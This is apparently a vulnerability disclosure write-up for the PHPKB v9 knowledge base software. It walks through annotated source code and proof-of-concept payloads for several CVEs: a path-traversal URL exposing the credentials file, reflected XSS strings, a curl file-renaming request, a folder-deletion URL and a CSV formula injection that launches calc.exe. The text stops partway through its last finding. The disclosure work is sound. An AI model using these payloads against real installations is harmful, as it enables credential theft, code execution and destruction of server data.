<-- go back

Analysis of a knowledge base system: PHPKB v9


Index


Introduction

PHPKB is a knowledge base system that facilitates the sharing of information with customers and staff members. Furthermore, it reduces the time spent on customer support, improves employee productivity, and saves time when searching for information.

It comes with various features, such as: the creation, deletion, and modification of categories, articles, article templates, comments, tickets, glossaries, news, users, and groups. Other features include: subscriber management, multilingual support, statistics, creation of a sitemap and backup and restore operations.

PHPKB can be managed by different types of users, each of whom has different roles:

  • Superuser
  • Editor
  • Writer
  • Translator
  • KB User

Various types of vulnerabilities have been identified, for each of which an explanation is provided below:

  • Cross-Site Scripting (XSS) (source): this injection attack allows an attacker to insert malicious scripts into websites deemed trustworthy. By injecting malicious scripts, the attacker can gain access privileges to the content of sensitive pages, session cookies, and a variety of other information managed by the browser on behalf of the user. There are several types of XSS:
    • Reflected XSS: these occur when the script injected by the attacker is “reflected” by the web application, for example in an error message, a search result, etc. By “reflected” it is meant that the web server’s response contains the input (or part of it) sent by the user in the request;
    • Persistent XSS: these occur when the attacker’s input is inserted into the page and saved on the web server, then executed as a script on the pages provided to users during normal navigation;
    • Blind XSS: a variant of persistent XSS. These occur when the attacker’s input is saved on the web server and then executed as a malicious script in another part of the application or in another application;
  • Cross-Site Request Forgery (CSRF): an attacker causes a victim user to involuntarily send an HTTP request from their browser to the web system where they are currently authenticated; the system, vulnerable to CSRF, being sure that the request comes from the previously authenticated user, executes it without knowing that behind it lies an action devised by the attacker, such as a transfer of funds, a purchase of an item, a data request, or any other function offered by the vulnerable application (source);

  • Remote Code Execution: this vulnerability occurs when the user’s input is inserted within a file or string and executed by the programming language parser without undergoing any kind of check or filter. An attacker could therefore potentially compromise the entire web application and/or the web server;

  • Arbitrary File Download: many web applications allow users to download one or more files from the web server from a prefixed folder. If the user’s input, used to acquire files from the web server, does not undergo any kind of check or filter, an attacker could exploit this vulnerability to arbitrarily download sensitive files (such as configuration files, databases, and so on) from the web server by using “../” to jump to the parent folders (directory traversal);

  • Arbitrary Folder Deletion: this vulnerability allows an attacker to arbitrarily delete folders from the web server. This could have serious consequences as it could delete the entire web application, important server/operating system folders, the database, and so on;

  • Arbitrary Files and Folder Listing: this vulnerability allows an attacker to obtain a complete (or partial) list of the names of files and folders within the web server;

  • Arbitrary File Renaming: this vulnerability allows an attacker to arbitrarily rename files on the web server, causing a denial of service.

  • CSV Injection (source): this vulnerability occurs when web applications insert user input into a csv file without first performing any type of check or filter. When spreadsheet software, such as Microsoft Excel or LibreOffice Calc, is used to open a csv file, all cells that begin with ‘=’ are interpreted as formulas. These can be used to perform three different types of attacks:
    • execute code within the user’s computer by exploiting vulnerabilities present within the spreadsheet software;
    • execute code within the user’s computer by exploiting users’ tendency to ignore security warnings related to spreadsheets downloaded from a trusted web application;
    • exfiltrate content from other spreadsheets;

Below are the code snippets to explain the vulnerabilities and the corresponding exploits/proof of concept.

Authenticated Arbitrary File Download (CVE-2020-10387)

Exploitable by: Superuser

Vulnerable file: admin/download.php

The file admin/download.php allows downloading any file specified as a GET parameter file. The user’s input is directly passed to the file_get_contents() function without undergoing any type of validation or filtering:

<?php
$authority_level = 'SEW'; 
include( __DIR__ . '/include/check-authority.php'); // Checks if we are authenticated as Superuser/Editor/Writer/Translator
if(trim($_GET['called'])=='ajax'){ // If the GET parameter called is set to ajax
	if($GLOBALS['session_admin_level']=='Superuser'){ // If the authenticated user is the Superuser, the backup functions are loaded
		include_once('include/functions-backup.php');
	}
// Omission of some lines of code
		case 'backup-lang':
			$file	= trim($_GET['file']); // The GET parameter file contains the file that needs to be downloaded
			$folder	= trim($_GET['act'])=='backup-conf'?'include/':'languages/';
			if(file_exists($folder.$file)){
				$code		= (trim($_GET['act'])=='backup-conf'?'':'language-').substr($file, 0, strrpos($file,'.'));
				$file_name	= Get_Filename($code, '.bak', true);
				$data		= file_get_contents($folder.$file); // The PHP function file_get_contents() is used to load the file's content into a variable
				Download_File($file_name, $data, false, true); // The file is downloaded
				exit();
			}

Therefore, we can use ../ to traverse to higher-level directories and download any file present on the web server. The following proof of concept allows downloading the PHPKB configuration file containing SMTP and database access credentials:

[PHPKB]/admin/download.php?called=ajax&act=backup-lang&file=../include/configuration.php

Video

Authenticated Remote Code Execution (CVE-2020-10386)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/imagepaster/image-upload.php

The file admin/imagepaster/image-upload.php is executed when an authenticated user performs a drag and drop of an image into the WYSIWYG editor:

<?php
if($_SESSION['admin_id_Session_ML']==''||$_SESSION['admin_username_Session_ML']==''){ // Check if we are authenticated
	json_error('Access Denied. Please login to continue.');
}
// Omission of some lines of code
$mime = !empty( $_POST['imgMime'] ) ? $_POST['imgMime'] : null; // The POST parameter imgMime is used to specify the MIME Type of the image
$name = !empty( $_POST['imgName'] ) ? $_POST['imgName'] : null; // The POST parameter imgName is used to specify the file name 
// Omission of some lines of code
$parts 	= explode('/', $mime); // Split the MIME Type string into two parts using the slash (/) as a delimiter
$ext 	= empty( $parts[1] ) ? 'png' : $parts[1]; // If the part after the slash is not empty, set it as the file extension; otherwise, set it to png 
// Omission of some lines of code
// The file is uploaded to a predefined temporary folder
$target = $targetPath.'/'.$imageName.'.'.$ext; // There are two vulnerabilities: the first is that the content of the imageName variable is not checked, allowing an attacker to traverse to higher-level directories using ../. The same applies to the ext variable, which allows an attacker to specify the file extension
	$source = $_FILES['file']['tmp_name']; // Get the path of the uploaded file in the temporary folder
	move_uploaded_file( $source, $target ); // The file is moved from the temporary folder to the chosen destination folder

As we can see, the content of the POST parameter imageName, used to specify the file name, is not checked, allowing the use of ../ to traverse to higher-level directories. The same applies to the imgMime parameter, used to specify the MIME Type of the image, allowing an attacker to specify any file extension.

To exploit this vulnerability, an attacker needs to set the POST parameter imgMime to image/php, the POST parameter imgName to ../js/example.php, and inject executable code into the file when it’s going to be dragged. To bypass any restrictions caused by the .htaccess file, the destination folder is set to /js/:

Video

Blind Cross-Site Scripting (CVE-2020-10388)

Exploitable by: Anyone

Vulnerable file: admin/report-referrers.php

Every time a user views any article, the Referer header is captured and saved in the database for statistical purposes. The Superuser will be able to view a report concerning the various Referer headers that have been captured, along with their frequencies. Let’s analyze the article.php file:

<?php
// Omission of some include constructs
include('include/functions.php'); // Inclusion of common functionalities
// Omission of some lines of code and include statements
		Knowledgebase_Analytics(); // The vulnerable function is called here, it is necessary to analyze the file include/functions.php

The vulnerable function is Knowledgebase_Analytics(), detailed in the file include/functions.php. Let’s analyze this file

<?php
// Omission of some lines of code
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); // The function Knowledgebase_Analytics() is not defined in this include
		include( __DIR__ . '/functions-article.php'); // The function Knowledgebase_Analytics() is defined in this include
		include( __DIR__ . '/functions-articles-display.php'); // The function Knowledgebase_Analytics() is not defined in this include
		break;

Several files are included here; the vulnerable function is located in the file include/functions-articles.php. Let’s analyze this file:

<?php
// Omission of some lines of code
function Knowledgebase_Analytics() // The function is defined here
{ // Omission of some lines of code
		$referrer_url = urlencode($_SERVER['HTTP_REFERER']); // The Referer header is acquired and URL encoding is applied
// Omission of some lines of code
		mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_referrers (referrer,referrer_url,referrer_date_time,article_id) VALUES('$referrer','$referrer_url',NOW(),{$GLOBALS['artid']})"); // The newly acquired header is saved in the database
}

In the last step, the Referer header is acquired and saved in the database.

The file admin/report-referrers.php allows the Superuser to check all the Referer headers acquired by the knowledge base system:

<?php
$authority_level= 'S'; // Accessible only by the Superuser
// Omission of some lines of code
// $google/$yahoo/$bing/$other is the number of Referer headers sorted by hostname
// $date_range is used when filtering the search for Referer headers based on a specific date
// $id is used when filtering the search for Referer headers based on a specified article
if($google){
	$google	= "<a id=\"google_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||google_output||google_link_id||google||via-link||{$google}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$google} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($yahoo){
	$yahoo	= "<a id=\"yahoo_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||yahoo_output||yahoo_link_id||yahoo||via-link||{$yahoo}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$yahoo} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($bing){
	$bing	= "<a id=\"bing_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||bing_output||bing_link_id||bing||via-link||{$bing}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$bing} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($other){
	$other = "<a id=\"other_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||other_output||other_link_id||other||via-link||{$other}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$other} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}

The acquisition of the Referer header is performed by a Javascript function. Furthermore, while analyzing admin/report-referrers.php, two Javascript files are loaded within the page:

<script src="js/ajax.js" type="text/javascript"></script>
<script src="js/common.js?v1.0.5" type="text/javascript"></script>

The first JavaScript file, ajax.js, contains the function ajaxObj, which is a wrapper for XMLHttpRequest. The second file, common.js, specifies the method of acquiring Referer headers from the database. Let’s analyze this last file:

// Omission of some lines of code
function commonOperations(params)
{
	var _array	= params.split('||'); // The string is split using || as a delimiter
// Omission of some lines of code
// The commonOperations function is quite large, so we focus only on the vulnerable case construct
		case 'referrer-detail': // Display details related to the Referer headers
			var _tr_id = _array[3]+'_tr';
			var _vis= jQuery('#'+_tr_id).is(":visible");
			var _hid= jQuery('#'+_tr_id).is(":hidden");
 
			if(_array[4]=='via-btn'){
				// Don't do anything
			}
			else{
				jQuery('#'+_tr_id).toggle({easing: 'swing'});
			}
 
			if((!_vis && _hid)||_array[4]=='via-btn'){
				_call		= 'yes';
				_divid		= _array[1];
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-up text-danger"></i>');
				var _range	= _array[6];
				_params		= "called=ajax&act="+_action+'&output='+_divid+'&linkid='+_array[2]+'&type='+_array[3]+'&cnt='+_array[5]+'&range='+_range+'&sf='+_array[7]+'&id='+_array[8]+'&page='+_array[9]; // The URL is constructed to be passed to the ajaxObj function
			}
			else{
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-down text-primary"></i>');
			}
			break;
// Omission of some lines of code
		new ajaxObj('include/operations.php', _divid, '', _params); // A request is sent to include/operations.php using ajaxObjphp

The acquired headers are retrieved from the database through a request made to include/operations.php. Let’s now analyze this last file:

// Omission of some lines of code
			case 'referrer-detail':
		if($_SESSION['admin_level_Session_ML']=='Superuser') // Checks if we are authenticated as a Superuser
				{ // All parameters made in the request sent using ajaxObj are extracted
					$linkid		= trim($_POST['linkid']);
					$type		= trim($_POST['type']);
					$main_cnt	= (int)(trim($_POST['cnt']) > 0 ? trim($_POST['cnt']) : 0);
					$date_range	= trim($_POST['range']);
					$start_from	= (int)(trim($_POST['sf']) > 0 ? trim($_POST['sf']) : 0);
					$id		= (int)(trim($_POST['id']) > 0 ? trim($_POST['id']) : 0);
					$page		= (int)trim($_POST['page']);
// Omission of some lines of code
					$array		= explode('to', $date_range); // The date range is split into two parts using "to" as a delimiter
					$from		= trim($array[0]); // The first part of the above string is the start date
					$to			= trim($array[1]); // The second part of the above string is the end date
// Omission of some lines of code
						$type = sanitizeInput($type); // The variable "type" is checked and filtered (to prevent SQL-injection attacks)
						$WHERE_part	= " WHERE (DATE(referrer_date_time) BETWEEN '".sanitizeInput($from)."' AND '".sanitizeInput($to)."') AND referrer IN({$type_query}) ".($id > 0 ? " AND article_id={$id}" : '')." AND phpkb_articles.article_id=phpkb_referrers.article_id {$AND_Language_Query}";
						$query	= "	SELECT referrer_id, referrer_url, referrer_date_time, phpkb_articles.article_id 
									FROM phpkb_referrers, phpkb_articles 
									{$WHERE_part} 
									ORDER BY referrer_date_time DESC 
									LIMIT {$start_from},{$results_perpage}";
						$result	= mysqli_query($GLOBALS['connection'], $query); // The SQL query is constructed and executed to extract the Referer headers from the database
// Omission of some lines of code
							while($row = mysqli_fetch_assoc($result)) // For each row obtained from the previous query
							{
								$origin	= urldecode($row['referrer_url']);
								$url	= parse_url(urldecode($row['referrer_url']));
								$domain	= $url['host']; // Here is the vulnerability: the host is extracted from the Referer header without being properly checked
								$path	= $url['path'];
								$date	= convertDateTime($row['referrer_date_time'],1,'b','at');
								$title	= mysqli_result(mysqli_query($GLOBALS['connection'], 'SELECT article_title FROM phpkb_articles WHERE article_id='.$row['article_id']),0,0);
								$title	= $title=='' ? $unknown_tpl : "<a href=\"{$GLOBALS['path_kb']}/article.php?id={$row['article_id']}\" target=\"_blank\" class=\"text-success\">{$title}</span></a> ";
								$host   = $domain; // The content of the domain variable is copied into the host variable
// Omission of some lines of code
								$tableRows .= "<tr>
													<td width=\"7%\">$sno</td>
													<td width=\"23%\">{$host}</td>
													<td width=\"25%\">{$keywords}</td>
													<td>{$title}</td>
													<td width=\"18%\">{$date}</td>
												</tr>"; // The host from the Referer header is inserted into the web page

As we can see, a SQL query is constructed and executed to retrieve the Referer headers from the database. Each of these headers is extracted and inserted into the current page (admin/report-referrers.php) without undergoing any form of validation or filtering. The following proof of concept demonstrates the vulnerability:

Video

Authenticated Remote Code Execution (CVE-2020-10389)

Exploitable by: Superuser

Vulnerable file: admin/save-settings.php

The file admin/save-settings.php allows us to modify the global settings of PHPKB:

<?php
if($session_admin_level=='Superuser') // Checks if we are authenticated as Superuser
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ // If the POST parameters submit and submit_hd are empty, a redirect to the index.php page is executed
		header('location:index.php');
		exit();
	}
// Omission of some lines of code
// There are more than 50 injection points for remote code execution; for this explanation, we will take the first point, which is putdown_for_maintenance
		$putdown_for_maintenance = $_POST['putdown_for_maintenance']!='' ? $_POST['putdown_for_maintenance'] : 'no'; // The POST parameter putdown_for_maintenance is copied into the variable putdown_for_maintenance
// Omission of some lines of code
// From this point onward, the content that will be written into the configuration file is defined
		$configure = "<?php".PHP_EOL;
		$configure .= "// WARNING: Do not make any changes directly in this file as it may make the 'PHPKB Knowledge Base Software' to stop working properly.".PHP_EOL.PHP_EOL;
 
		$configure .= "// PHPKB Professional Status Settings ".PHP_EOL;
		$configure .= "\$putdown_for_maintenance  = '{$putdown_for_maintenance}';".PHP_EOL.PHP_EOL; // Our variable is inserted into the file without being checked first
 
		$configure .= "// General Settings ".PHP_EOL;
		$configure .= "\$kbName		= \"".stripslashes($kbName)."\";".PHP_EOL;
// Omission of some lines of code
				$fp = fopen('include/configuration.php', 'wb'); // Open the file include/configuration.php in write-binary (wb) mode
				if($fp) // Check if we can open the file
				{
					fwrite($fp, $configure); // Write the newly defined content
					fclose($fp);

As we can see, the user input acquired through the POST parameter putdown_for_maintenance is directly written into the file admin/include/configuration.php without being checked or filtered. An attacker could, therefore, perform a remote code execution by using the PHP function system().

The injected code will be executed when visiting the index.php file or any other file that includes the configuration file. The following proof of concept demonstrates the vulnerability by executing the dir command:

Video

Out of Band (blind) Authenticated Remote Code Execution (CVE-2020-10390)

Exploitable by: Superuser

Vulnerable file: admin/save-settings.php

The file admin/save-settings.php allows modifying the global settings of PHPKB. Among these settings, there is an option to set the path (i.e., the location within the server) of wkhtmltopdf, a program used to convert HTML pages into PDF documents.

<?php
if($session_admin_level=='Superuser') // Check if we are authenticated as Superuser
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ // If the POST parameters submit and submit_hd are empty, redirect to index.php
		header('location:index.php');
		exit();
	}
// Omission of some lines of code
			$wkhtmltopdf_path	= function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()===1 ? trim(stripslashes($_POST['wkhtmltopdf_path'])) : trim($_POST['wkhtmltopdf_path']); // The value of the POST parameter wkhtmltopdf_path is copied into the variable wkhtmltopdf_path
// Omission of some lines of code
// From this point onward, the content that will be written into the configuration file is defined
		$configure = "<?php".PHP_EOL;
// Omission of some lines of code
		$configure .= "\$wkhtmltopdf_path			= \"$wkhtmltopdf_path\";".PHP_EOL; // Our variable is inserted into the file without being checked first
// Omission of some lines of code
				$fp = fopen('include/configuration.php', 'wb'); // Open the file include/configuration.php in write-binary (wb) mode
				if($fp) // Check if we can open the file
				{
					fwrite($fp, $configure); // Write the newly defined content
					fclose($fp);

As we can see, the wkhtmltopdf path is acquired from the user through the POST parameter wkhtmltopdf_path and saved into the configuration file without undergoing any type of validation or filtering. An attacker can insert any path or command and, to exploit this vulnerability, he needs to find a way to execute what is contained in the wkhtmltopdf_path variable by the web application. For example, the attacker might use the PDF export functionality, used to generate a PDF copy of an article. This is done by the export.php file:

<?php
// Omission of some includes
include('include/functions.php');
// Omission of some includes
$artid = (int)trim($_GET['id']); // The ID of the article to be exported as a PDF is acquired through the GET parameter id
if($artid > 0)
{
	if($_GET['type']=="PDF"){ // If the GET parameter type is set to pdf, it calls the function Articles_Detail()
		Articles_Detail('PDF');
	}
	else{
		Articles_Detail('MSWORD');
	}
}
else{
	echo "<h1>Access Denied</h1>";	
}
?>

The vulnerable function is Articles_Detail(), defined inside the file include/functions.php. Let’s analyze this file:

<?php
	case 'email.php':
	case 'export.php':
	case 'ajax.php':
	case 'subscribe.php':
		include( __DIR__ . '/functions-article.php');
		break;

Within this file, the include/functions-article.php file is included. Let’s analyze it:

<?php
// Omission of some lines of code and includes
						$WKHTMLTOPDF = $GLOBALS['wkhtmltopdf_path']; // The value of the wkhtmltopdf_path variable, read from the configuration file, is assigned to the $WKHTMLTOPDF variable
// Omission of some lines of code
						$output		= shell_exec("$WKHTMLTOPDF {$footerCmd} {$headerCmd} $html_path $pdf_path"); // The $WKHTMLTOPDF variable is passed to the shell_exec() function, which allows code execution

As we can see, the value of the wkhtmltopdf_path variable is read from the configuration file and passed to the shell_exec() function. This allows an attacker to perform a remote code execution, which, in this case, is of the blind type (i.e., it can execute code but cannot see the output). The following proof of concept executes a ping to our server to demonstrate the vulnerability:

Video

Reflected Cross-Site Scripting on all pages of the administration panel (from CVE-2020-10391 to CVE-2020-10456)

Exploitable by: Superuser/Editor/Writer

Vulnerable file: admin/header.php

This vulnerability exists in these pages:

  • admin/add-article.php
  • admin/add-category.php
  • admin/add-field.php
  • admin/add-glossary.php
  • admin/add-group.php
  • admin/add-language.php
  • admin/add-news.php
  • admin/add-template.php
  • admin/add-user.php
  • admin/article-collaboration.php
  • admin/edit-article.php
  • admin/edit-category.php
  • admin/edit-comment.php
  • admin/edit-field.php
  • admin/edit-glossary.php
  • admin/edit-group.php
  • admin/edit-news.php
  • admin/edit-subscriber.php
  • admin/edit-template.php
  • admin/edit-user.php
  • admin/email-harvester.php
  • admin/import-csv.php
  • admin/import-html.php
  • admin/index-attachments.php
  • admin/index.php
  • admin/kb-backup.php
  • admin/manage-articles.php
  • admin/manage-attachments.php
  • admin/manage-categories.php
  • admin/manage-comments.php
  • admin/manage-departments.php
  • admin/manage-drafts.php
  • admin/manage-feedbacks.php
  • admin/manage-fields.php
  • admin/manage-glossary.php
  • admin/manage-groups.php
  • admin/manage-languages.php
  • admin/manage-news.php
  • admin/manage-settings.php
  • admin/manage-subscribers.php
  • admin/manage-templates.php
  • admin/manage-tickets.php
  • admin/manage-users.php
  • admin/manage-versions.php
  • admin/my-languages.php
  • admin/my-profile.php
  • admin/optimize-database.php
  • admin/reply-ticket.php
  • admin/report-article-discussed.php
  • admin/report-article-mailed.php
  • admin/report-article-monthly.php
  • admin/report-article-popular.php
  • admin/report-article-printed.php
  • admin/report-article-rated.php
  • admin/report-article.php
  • admin/report-category.php
  • admin/report-failed-login.php
  • admin/report-referrers.php
  • admin/report-search.php
  • admin/report-traffic.php
  • admin/report-user.php
  • admin/save-article.php
  • admin/search-users.php
  • admin/sitemap-generator.php
  • admin/translate.php
  • admin/trash-box.php

For example let’s analyze the file admin/add-article.php:

<?php
$authority_level= 'SEW'; Check if we are authenticated as Superuser/Editor/Writer
// Omission of some lines of code
include( __DIR__ . '/include/check-authority.php'); // The vulnerable variable is defined in this include
// Omission of some lines of code and includes
			<!-- Header - STARTS -->
			<?php include_once('header.php'); ?> // The vulnerable variable is printed here
			<!-- Header - ENDS -->

The page includes two files: admin/include/check-authority.php and admin/header.php. In the first file, the vulnerable variable is defined, and in the second file, it is printed. Let’s analyze the first file:

<?php
// Omission of some lines of code
$REQUEST_URI= $_SERVER['REQUEST_URI']; // Get the URI of the current page
$_tmp_array	= explode('/',$REQUEST_URI); // Split the URI into an array of strings, using the slash (/) as a delimiter
// Omission of some lines of code
$lang_header = $_tmp_array[count($_tmp_array)-1]; // Save, in the lang_header variable, the name and extension of the current file (add-article.php) with parameters and values of the URI

As we can see, the URI of the current page is first acquired, then split into an array of strings using the slash (/) as a delimiter, and finally, the last value of this array is saved in the variable lang_header. This value corresponds to the filename being considered (add-article.php) along with the parameter-value pairs from the URI.

Let’s analyze the file admin/header.php, which prints the lang_header variable without performing any type of check or filtering:

<?php
// Omission of some lines of code
					<button type="button" class="btn btn-warning" data-dismiss="modal" onclick="<?php echo "commonOperations('lang-change-alert||0||0||{$lang_header}||{$_GET_exists}||{$HIDDEN_lang_id}')"; ?>">Yes, do it</button> // The lang_header variable is printed on the page without being checked

This file is included in the list of previously mentioned files, making all of them vulnerable. Below are some proof of concepts:

[PHPKB]/admin/index.php?test='"/><marquee/onstart=confirm(1)>

[PHPKB]/admin/my-profile.php?test='"/><marquee/onstart=confirm(1)>

[PHPKB]/admin/trash-box.php?test='"/><marquee/onstart=confirm(1)>

Arbitrary File Renaming (CVE-2020-10457)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/imagepaster/image-renaming.php

The file admin/imagepaster/image-renaming.php allows renaming only images, however, since there is no type of check or filtering on the extension, it is possible to rename any type of file. Additionally, there is no check on the path, so it is possible to use ../ to traverse to higher-level folders.

<?php
// Omission of some lines of code
$imgUrl 	= trim( $_POST['imgUrl'] ); // The content of the POST parameter imgUrl is copied into the imgUrl variable; this will contain the path of the image we want to rename
$imgNewName =  trim( $_POST['imgName'] ) ; // The content of the POST parameter imgName is copied into the imgNewName variable; this will contain the new name of the image
// Omission of some lines of code
if(!rename($imgRelPath,$newRelPath)){ // Here, the file is renamed using the PHP rename() function
	json_error('Error in renaming file.');
}

The following proof of concept renames the file admin/include/configuration.php, causing a denial of service:

curl --cookie "phpkb-rvaids=1; PHPSESSID=XYZXYZXYZ" -d "imgUrl=../../assets/../admin/include/configuration.php&imgName=test" [PHPKB]/admin/imagepaster/image-renaming.php

Video

Arbitrary Folder Deletion (CVE-2020-10458)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/assetmanager/operations.php

The file admin/assetmanager/operations.php takes two GET parameters from the user: the first one, action, is used to define the operation to be performed, and the second one, crdir, is used to indicate the folder to be targeted. If the GET parameter action is set to df, it results in the deletion of the folder specified in the crdir parameter.

<?php
include_once('../include/session-check.php'); // Check if we are authenticated
// Omission of some lines of code
$_action 	= $_GET['action']; // The value of the GET parameter action is assigned to the variable _action; it is used to define the operation to be performed
$crdir 		= trim(urldecode($_GET['crdir'])); // The value of the GET parameter crdir is assigned to the variable crdir; it represents the folder we want to consider
switch($_action)
{
$dir = $crdir; // The content of the variable crdir is copied to the variable dir
// Omission of some lines of code
	case 'df': // If the variable _action is equal to df, then the deletion of the folder specified in the variable dir takes place
		$handle = opendir($dir); // Opens the handle of the folder
		while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); // Deletes all files in the folder and the folder itself
		closedir($handle); // Closes the handle of the folder

Since no validation is performed on the GET parameter crdir, it is possible to use ../ to navigate to higher-level folders, allowing an attacker to delete any folder from the web server.

The following proof of concept deletes the folder admin/include, causing a denial of service:

[PHPKB]/admin/assetmanager/operations.php?action=df&crdir=..%2Finclude

Video

CSV Injection (CVE-2020-10460)

Exploitable by: Superuser

Vulnerable file: admin/include/operations.php

The file admin/email-harvester.php allows the Superuser to export the emails present in the knowledge base system in CSV format. Let’s analyze this file:

<script src="js/harvester.js" type="text/javascript"></script> // This file contains functionalities related to email harvesting; it communicates with the web server to create the CSV file

Inside the file, we find a reference to another file called js/harvester.js. Let’s analyze it:

		case 'export-csv':
			if(f.extractedmails.value==''){ // If there are no emails to extract, display an error
				jQuery('#atleast_one_email').modal('show'); 
				//alert('Specify at least one email address for export to csv'); 
				return;
			}
			var data 	 = f.extractedmails.value.replace(/\n\r?/g, '||'); // Replace line breaks with ||

			passParams  += 'data='+encodeURI(data);
			passParams  += '&called=ajax&act=harvest&sub_act=csvexport'; // Prepare the parameters to be sent to the web server
 
			$.ajax({
				url:"include/operations.php", // Send the parameters to the file admin/include/operations.php
				type:"post",
				data:passParams,
				success:function(result){
		      		$("#"+subject_id).html(result);
					$('html, body').animate({
					    scrollTop: $("#"+subject_id).offset().top-60
					}, 2000);
		    	}
		    });
		break;

The file js/harvester.js extracts all the emails found in a form and makes an ajax request to the file admin/include/operations.php. Let’s analyze this file:

<?php
// Note that the POST paramenter sent by the Javascript file are: &called=ajax&act=harvest&sub_act=csvexport
// Omission of some lines of code and includes
	if(trim($_POST['called'])=='ajax') // The result of this comparison construct is positive as the value of the POST parameter called is ajax
	{
		switch(trim($_POST['act'])){ // We have a switch case construct, the POST parameter is act
			case 'harvest': // The result of the comparison is positive, and we have found the case where the value is set to harvest
				if($_SESSION['admin_level_Session_ML']=='Superuser'){ // Check if we are authenticated as a Superuser.
					$subAction = trim($_POST['sub_act']); // The content of the POST parameter sub_act is copied into the variable subAction
					include_once(__DIR__ . '/functions-harvest.php'); // The necessary functions for the page's operation are included.
					switch($subAction){ // We have a switch case construct, since the value of the subAction variable is set to csvexport
						case 'extract': // This case is skipped as the result of the comparison is negative.
							displayEmails();
						break;
						case 'csvexport': // The result of the comparison is positive, and we have found the case where the value is csvexport
							$download_image	= '<img src="images/download.png" style="vertical-align:middle;" alt="Download" /> ';
							$_data 			= explode('||',str_replace(',','||',urldecode($_POST['data'])));
							$_emails 		= validateInput($_data); // We will analyze this function later; for now, it can be skipped.
							if(is_array($_emails))
							{
								$_filename	= generateFilename(); // A random filename is created
								//if(exportAsCSVManual($_filename, array('Email Address'=>$_emails))){
								if(exportAsCSV($_filename, array('Email Address'=>$_emails))){ // The CSV file is created and ready to be downloaded; we will analyze this function later
									echo "<div class=\"alert alert-success\">
											<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-hidden=\"true\">&times;</button>
											CSV File has been generated successfully. <a class=\"alert-link\" href=\"{$GLOBALS['path_kb']}/admin/backups/$_filename\" target=\"_blank\" title=\"Click to Download\">$download_image Download</a></div>";
								}else{
									echo"<div class=\"alert alert-danger\">$error_image<strong>Error:</strong> $_error</div>";
								}
							}
						break;
						default: echo $denied_message;
					}
				}
				break;

The analyzed file contains numerous functions, each performing different operations. The parameters sent by the ajax request serve to identify which function to execute. The emails, saved in the variable $_data, are first passed to the function validateInput() and then to the function exportAsCSV(). These two functions are defined in the file admin/include/functions-harvest.php and included in the current file. Let’s analyze both of them:

<?php
// Omission of some lines of code
function validateInput($_data=array())
{
	foreach($_data as $email) // Perform a loop where each acquired email from the harvester is analyzed one by one
	{
		if(trim($email)!=''){ // If the email is not an empty string
			if(!preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/", $email)){ // Perform a check using a regular expression; if the check fails, print an error
				echo '<div class="info red-text" style="margin-bottom:5px;">
						<strong>Error:</strong>
						<p>Invalid email address supplied for export to csv.</p>
					 </div>';
				return;			 
			}else{
				$_validatedEmails[] = $email; // Otherwise, if the check succeeds, add it to the _validatedEmails array
			}
		}
	}

// Omission of some lines of code

function exportAsCSV($filename='', $data=array(), $header = true)
{ // Function responsible for creating and writing the CSV file
	global $_error; 
	$line = $comma = '';
	if(!$fp = fopen('../backups/'.$filename, 'wb+')){ // If we don't have the necessary permissions to write to the ../backups/ folder, print an error message
		$_error = 'Couldn\'t create the output file: <strong>'.$filename.'</strong>.';
		return false;
	}
	if($header) {
		@fputcsv($fp, array_keys($data));
	}
	foreach($data as $key=>$emails){ // Write the emails to the CSV file	
		foreach($emails as $email){
			@fputcsv($fp, array($email));
		}
	}
	fclose($fp);
	return true;

The function validateInput() checks the validity of the emails using the regular expression /\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/. Afterwards, the emails are passed to the exportAsCSV() function, used to create and write the CSV file. The following proof of concept is able to bypass the check performed with the regular expression and, to confirm the vulnerability, it opens calc.exe:

test@test.com||=2+5+cmd|' /C calc'!A0@test.com||||

Video

Blind Cross-Site Scripting (CVE-2020-10461)

Exploitable by: Anyone

Vulnerable file: admin/manage-comments.php

Every time a user submits a comment on an article, the following GET request is made to include/ajax-hub.php:

[PHPKB]/include/ajax-hub.php?usefor=AddComments&aid=1&nm=myname&em=my%40email.com&cmt=my%20comment&sc=captchacode

Let’s analyze the file include/ajax-hub.php:

<?php
// Omission of some lines of code
if( $_POST['act']=='xedit-cmt' ){ // When we submit a comment, we don't have the POST parameter _act, so the comparison fails, and we jump to the else block
// Omission of some lines of code
}
else{ 
// Omission of some lines of code
	include('hub.php'); // The file hub.php is included
}

The file include/hub.php is included. Let’s proceed with the analysis of this file:

<?php
// Omission of some lines of code and includes
	include('functions.php'); // The file functions.php is included
// Omission of some lines of code
elseif($_GET['usefor']=='AddComments') // If the GET parameter usefor is equal to AddComments, execute the code below
{
	$article_id = (int)$_GET['aid']; $name = $_GET['nm']; $email = $_GET['em']; $comments = $_GET['cmt']; $scode= $_GET['sc']; // The values of the GET parameters are copied into their respective variables
	$UseFor = 'After Post';
	echo Add_Comment($article_id); // The function Add_Comment(), defined in include/functions.php, is executed first, then printed
}

